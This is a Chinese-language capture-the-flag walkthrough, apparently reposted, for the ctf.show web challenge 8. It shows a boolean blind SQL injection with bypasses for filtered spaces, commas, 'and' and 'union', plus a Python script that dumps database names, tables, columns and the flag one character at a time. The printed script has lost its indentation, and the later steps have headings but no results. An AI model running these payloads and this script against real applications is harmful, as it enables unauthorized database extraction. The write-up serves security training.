ctf.show WEB模塊第8關是一個SQL 注入漏洞, 注入點是數值型, 注入型別推薦使用布爾盲注,此關卡過濾了空格,逗號,and,union等關鍵字,
1. 過濾空格, 可以使用括號() 或者注釋/**/ 繞過
2. 過濾and, 可以使用or替代
3. 過濾union, 可以用盲注替代聯合注入
4. 過濾逗號, 可以使用特殊語法繞過, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)來代替
首先確定注入點, 輸入以下payload使SQL恒成立
?id=-1/**/or/**/true
由于SQL恒成立, 資料庫將查詢出表中的所有內容, 并回傳到前端展示

再輸入一下payload 使SQL恒不成立
?id=-1/**/or/**/false
由于SQL恒不成立, 資料庫查詢不到任何資料, 從而導致頁面空顯示

由以上回傳結果可知, 該頁面存在SQL注入, 注入點為數值型注入
接下來進行脫庫, 由于盲注脫庫比較復雜, 此處我們構造Python腳本進行自動化脫庫, 注意payload中的字串不要換行, 否則可能會出問題
import requests
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
# 回圈45次( 回圈次數按斬訓傳的字串長度自定義)
for i in range(1, 45):
# 獲取當前使用的資料庫
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 獲取當前資料庫的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 獲取flag表的欄位
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 獲取flag表的資料
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在獲取第 %d 個字符' % i)
# 截取SQL查詢結果的每個字符, 并判斷字符內容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('資料庫名/表名/欄位名/資料: %s' % name)
break
# 如果某個字符不存在,則停止程式
count += 1
if count >= (128 - 31):
exit()
成功獲取當前資料庫名: web8
接下來獲取獲取資料庫中所有表

獲取欄位

獲取資料flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297766.html
標籤:其他
上一篇:漏洞利用一:MSF 漏洞驗證專題
